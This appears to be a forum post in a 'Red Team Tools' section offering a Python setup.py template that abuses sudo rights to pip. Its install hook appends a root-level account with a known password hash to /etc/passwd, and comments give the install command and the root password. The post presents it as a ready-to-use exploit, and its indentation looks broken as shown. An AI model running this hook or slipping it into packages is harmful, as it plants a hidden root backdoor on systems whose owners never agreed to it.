National Cyber Warfare Foundation (NCWF) Forums


Quick Write-Up: Pip-Boy


0 user ratings
2020-07-29 11:48:32
Tails
Red Team Tools

 - archive -- 
Every get on a foothold on a system that allows a user to run Python pip as sudo?

Here's a script template to perform actions. Use it and modify it to your needs.. :)

#!/usr/bin/python
#Rename to setup.py before use
#Run: sudo /usr/bin/pip install . --upgrade --force-reinstall
#Get root shell: su tails
#password is screaming-goats
from setuptools import setup
from setuptools.command.install import install
import os
class CustomInstall(install):
  def run(self):
    install.run(self)
    os.system('echo tails:/UeS4ThUJ6N8s:0:0:root:/root:/bin/bash >> /etc/passwd')
    setup(name='tailspip',
    version='1.1.1',
    description='This will exploit a sudoer able to run /usr/bin/pip as root',
    url='https://lmgtfy.com/',
    author='tails',
    author_email='[email protected]',
    license='MIT',
    zip_safe=False,
    cmdclass={'install':CustomInstall})


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Red Team Tools



© Copyright 2012 through 2022 - National Cyber Warfare Foundation - All rights reserved worldwide.